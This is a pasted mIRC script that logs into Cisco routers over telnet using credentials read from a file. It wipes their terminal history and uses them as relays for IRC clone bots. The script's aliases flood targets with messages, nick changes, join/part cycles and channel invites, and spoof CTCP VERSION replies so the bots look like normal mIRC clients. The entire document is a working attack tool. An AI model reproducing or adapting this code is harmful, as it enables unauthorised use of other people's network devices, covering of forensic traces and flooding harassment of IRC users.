rendered paste bodyalias cload {
set %cisco.lines $lines(%cisco.file)
set %cisco $r(1,%cisco.lines)
sockopen cisco* $+ $r(99999,9999999) $gettok($read(%cisco.file, %cisco), 1, 32) 23
sockopen cisco* $+ $r(99999,9999999) $gettok($read(%cisco.file, %cisco), 1, 32) 23
}
alias creconnect {
sockwrite -nt cisco* QUIT $1-
sockwrite -nt cisco* CONNECT %server %port
}
alias cw {
sockwrite -nt cisco* $1-
}
alias cnick2 { var %var = 1
while ($sock(cisco*, %var)) { $whilef | sockwrite -n $sock(cisco*, %var) NICK $1 $+ $rand(99,999) $+ $rand(99,999)
inc %var 1
}
}
alias cnick { var %var = 1
while ($sock(cisco*, %var)) { $whilef | sockwrite -n $sock(cisco*, %var) NICK $read(ID.txt), %nick $+ %var)
inc %var 1
}
}
alias cnick2 {
set %var 1
sockwrite -n $sock(cisco*, %var) NICK Guest $+ $r(99999,9999999)
inc %var
}
alias creg {
sockwrite -nt cisco* PRIVMSG nickserv REGISTER bot1234 bots@bots.com
}
alias cdrop {
sockwrite -nt cisco* PRIVMSG nickserv DROP
}
alias cjoin {
sockwrite -nt cisco* JOIN $1
}
alias cpart {
sockwrite -nt cisco* part $1
}
alias cquit {
sockwrite -nt cisco* QUIT $1-
sockwrite -nt cisco* terminal history size 0
}
alias chistory {
sockwrite -nt cisco* terminal history size 0
}
alias cclose {
sockclose cisco*
}
alias cchop {
sockwrite -nt cisco* JOIN $1-
sockwrite -nt cisco* PART $1-
}
alias cmsg {
sockwrite -nt cisco* PRIVMSG $1-
}
alias cnotice {
sockwrite -nt cisco* NOTICE $1-
}
alias chop {
sockwrite -nt cisco* PART $1-
sockwrite -nt cisco* JOIN $1-
}
alias cinvite {
set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
sockwrite -nt cisco* JOIN %chan
sockwrite -nt cisco* INVITE $1 %chan
set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
sockwrite -nt cisco* JOIN %chan
sockwrite -nt cisco* INVITE $1 %chan
set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
sockwrite -nt cisco* JOIN %chan
sockwrite -nt cisco* INVITE $1 %chan
set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
sockwrite -nt cisco* JOIN %chan
sockwrite -nt cisco* INVITE $1 %chan
set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
sockwrite -nt cisco* JOIN %chan
sockwrite -nt cisco* INVITE $1 %chan
set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
sockwrite -nt cisco* JOIN %chan
sockwrite -nt cisco* INVITE $1 %chan
}
alias cflood {
set %target $1
set %target.text $2-
sockwrite -nt cisco* PRIVMSG %target %target.text
cnick
sockwrite -nt cisco* PRIVMSG %target %target.text
cnick
sockwrite -nt cisco* PRIVMSG %target %target.text
cnick
sockwrite -nt cisco* PRIVMSG %target %target.text
cnick
sockwrite -nt cisco* PRIVMSG %target %target.text
cnick
sockwrite -nt cisco* PRIVMSG %target %target.text
cnick
sockwrite -nt cisco* PRIVMSG %target %target.text
cnick
sockwrite -nt cisco* PRIVMSG %target %target.text
cnick
}
alias cchanflood {
set %target.text $2-
sockwrite -nt cisco* JOIN $1
sockwrite -nt cisco* PRIVMSG %target.text
cnick
}
on *:sockopen:cisco*: {
sockwrite -nt $sockname $gettok($read(%cisco.file, %cisco), 2, 32)
sockwrite -nt $sockname terminal history size 0
sockwrite -nt $sockname connect %server %port
sockwrite -n $sockname USER $read(ID.txt)
sockwrite -n $sockname NICK $read(ID.txt)
window @status
echo @status Logging in: $sock($sockname).ip
}
on *:sockread:cisco*: {
sockread %tmp
tokenize 32 %tmp
window @status
sockbotread %temp
write status.txt %temp
if (:version == $4-) { cgsbwin $sockname $color(ctcp) $+([,$gettok($mid($1,2,$len($1)),1,33)) $+($remove($mid($4,3,$len($4)),$chr(1)),]) $remove($5-,$chr(1)) | sockwrite -n $sockname notice $gettok($mid($1,2,$len($1)),1,33) :VERSION $+($botversion,) }
if ($sockerr || !%tmp) { return | window @broken | echo @broken $sockname }
if ($gettok(%tmp,1,32) == ping) { sockwrite -n $sockname PONG $gettok(%tmp,2-,32) }
halt
}
alias botversion {
return mIRC v6. $+ $r(14,21) Khaled Mardam-Bey
}
alias botsend sockwrite -tn $sockname
alias botread return $remove($1,:)
alias sockbotread {
if (:version == $4-) { cgsbwin $sockname $color(ctcp) $+([,$gettok($mid($1,2,$len($1)),1,33)) $+($remove($mid($4,3,$len($4)),$chr(1)),]) $remove($5-,$chr(1)) | sockwrite -n $sockname notice $gettok($mid($1,2,$len($1)),1,33) :VERSION $+($botversion,) }
if ($4 == :TIME) { sockwrite -tn $sockname :TIME $time(hh:nn:sstt) $+ }
}
alias -l cgsbwin {
aline -pt 10 @status $timestamp * $botversion
aline -pt @status $+(@,$1) $timestamp $3-
}